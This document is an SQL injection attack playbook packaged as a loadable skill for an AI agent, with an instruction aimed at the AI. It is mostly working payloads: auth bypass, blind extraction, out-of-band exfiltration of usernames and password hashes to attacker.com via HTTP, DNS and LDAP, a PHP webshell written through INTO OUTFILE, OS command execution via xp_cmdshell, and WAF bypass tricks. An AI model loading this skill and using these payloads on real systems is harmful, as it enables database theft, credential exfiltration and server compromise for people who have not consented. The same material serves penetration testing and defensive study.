SKILL: SQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.

0. QUICK START

Extended Scenarios

Also load SCENARIOS.md when you need:

SMB out-of-band exfiltration via
```
LOAD_FILE
```
+ UNC paths (Windows MySQL)
KEY injection / URI injection / non-parameter injection points
INSERT/DELETE/UPDATE statement injection differences
ThinkPHP5 array key injection (
```
updatexml
```
error-based)
Django GIS Oracle
```
utl_inaddr.get_host_name
```
CVE
ORDER BY / LIMIT injection techniques

如果只是刚确认可疑 SQL sink，不要先加载额外的 payload skill，直接在这里完成第一轮验证。

First-pass payload families

Situation	Start With	Why
Login or boolean branch	`' or 1=1--`	Fast signal on auth or conditional checks
Numeric parameter	`1 or 1=1`	Avoid quote dependency
ORDER BY / sorting	`1,2,3` then `1 desc--`	Good for structural probing
Visible SQL errors	`'` then DBMS-specific error probes	Error text gives DBMS clues
No visible output	time-based payloads	Stable fallback for blind targets
Heavy filtering / WAF	polyglot or whitespace-free variants	Expands parser confusion surface

Small, stable first-pass set

text

'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--

DBMS routing hints

Clue	Likely DBMS	Good Next Move
`You have an error in your SQL syntax`	MySQL	try `SLEEP()` and `@@version`
`Microsoft OLE DB Provider`	MSSQL	try `WAITFOR DELAY`
`PG::` / `PostgreSQL`	PostgreSQL	try `pg_sleep()`
`ORA-` prefix	Oracle	pivot to out-of-band or XML features
SQLite errors, local apps	SQLite	focus on boolean/UNION and file-backed behavior

1. DETECTION — SUBTLE INDICATORS

Most SQLi is found by behavioral differences, not errors:

Signal	Meaning
Page loads differently with `'` vs `''`	String context injection point
Numeric: `1` vs `1-1` vs `2-1` returns same	Arithmetic evaluated
`1=1` vs `1=2` in condition changes result	Boolean-based injection
SELECT with ORDER BY N: column count enumeration	UNION prep
Time delay: `'; WAITFOR DELAY '0:0:5'--`	Blind/time-based
500 error on `'` , 200 on `''`	Unhandled exception = SQLi
Different HTTP response size	Boolean blind indicator

Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

2. DATABASE FINGERPRINTING

sql

-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user

Error-based fingerprint: inject

and read error message format. MySQL errors differ from Oracle/MSSQL.

3. UNION-BASED DATA EXTRACTION

Column count determination:

sql

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns

Column type detection (NULL is safest):

sql

UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column

Database-specific string concat (required when column accepts only int):

sql

-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. BLIND INJECTION — INFERENCE TECHNIQUES

Boolean Blind (conditional response difference)

sql

-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--

Time-Based Blind (no response difference)

sql

-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)

sql

'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

Use port 80 or 443 to bypass firewall egress restrictions.

Oracle — UTL_HTTP (HTTP GET with data in URL path)

sql

'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!

Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)

sql

'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

Attacker sees:

HASH_VALUE.attacker.com

DNS query → read password hash.

Oracle — UTL_SMTP / UTL_TCP

sql

-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path)

sql

SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB

MySQL — INTO OUTFILE (in-band filesystem write)

sql

SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''

6. ESCALATION — OS COMMAND EXECUTION

MSSQL — xp_cmdshell (if enabled, or if sysadmin)

sql

'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

MySQL — UDF (User Defined Functions)

Write malicious shared library to filesystem, then

CREATE FUNCTION ... SONAME

Oracle — Java Stored Procedures

sql

-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime

7. SECOND-ORDER INJECTION

Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.

Example attack flow:

Register username:
```
admin'--
```
Application safely inserts this into users table
Password change function fetches username from session (trusted!) and builds:
sql
```
UPDATE users SET password='newpass' WHERE username='admin'--'
```
Comment strips the condition → updates admin's password

Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.

8. PARAMETERIZED QUERY BYPASS SCENARIOS

Parameterized queries do NOT prevent SQLi when:

Table/column names are user-controlled — params can't parameterize identifiers:
sql
```
-- UNSAFE even with params:
"SELECT * FROM " + tableName + " WHERE id = ?"
```
Mitigation: whitelist-validate table/column names.

Partial parameterization — some fields concatenated, others parameterized:

sql

"SELECT * FROM users WHERE type='" + userType + "' AND id=?"
-- userType not parameterized → injection

IN clause with dynamic count (common mistake in ORMs):

sql

SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized

Second-order — data retrieved from DB assumed clean, re-used in query without params.

9. FILTER EVASION TECHNIQUES

Comment Injection (break keywords)

sql

SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--

Case Variation

sql

UnIoN SeLeCt

URL Encoding

sql

%55NION  -- U
%53ELECT -- S

Whitespace Alternatives

sql

SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline

String Construction (bypass literal-string detection)

sql

-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. DATABASE METADATA EXTRACTION

MySQL

sql

SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'

MSSQL

sql

SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

Oracle

sql

SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA

PostgreSQL

sql

SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. STORED PROCEDURE ABUSE

MSSQL — sp_OAMethod (COM automation)

sql

DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'

Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)

sql

SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. QUICK REFERENCE — INJECTION TEST STRINGS

'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

13. WAF BYPASS MATRIX

Technique	Blocked	Bypass
Space filtered	`SELECT * FROM`	`SELECT/*///*/FROM` , `SELECT%0a%0aFROM`
Comma filtered	`UNION SELECT 1,2,3`	`UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c`
Quote filtered	`'admin'`	`0x61646D696E` (hex), `CHAR(97,100,109,105,110)`
OR/AND filtered	`OR 1=1`	<code>\|\|1=1</code>, `&&1=1` , `DIV 0`
= filtered	`id=1`	`id LIKE 1` , `id REGEXP '^1$'` , `id IN (1)` , `id BETWEEN 1 AND 1`
SELECT filtered		Use `handler` (MySQL), `PREPARE` +hex, or stacked queries
information_schema filtered		`mysql.innodb_table_stats` , `sys.schema_table_statistics`

Additional WAF bypass patterns:

Polyglot:

SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed injection:
```
1' UNION SELECT 0x(inner_payload_hex)-- -
```
where inner payload is another full query hex-encoded
Second Order: inject into storage, trigger when data is used in another query later
PDO emulated prepare: when
```
PDO::ATTR_EMULATE_PREPARES=true
```
, stacked queries work even with parameterized-looking code

14. WAF BYPASS MATRIX

No-Space Bypass

sql

SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)

No-Comma Bypass

sql

-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0

Polyglot Injection

sql

SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

sql

-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context

Second-Order Injection

-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'

PDO / Prepared Statement Edge Cases

php

// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

Entry Point Detection (Unicode tricks)

U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '

sqli-sql-injection

NPX Install

Tags

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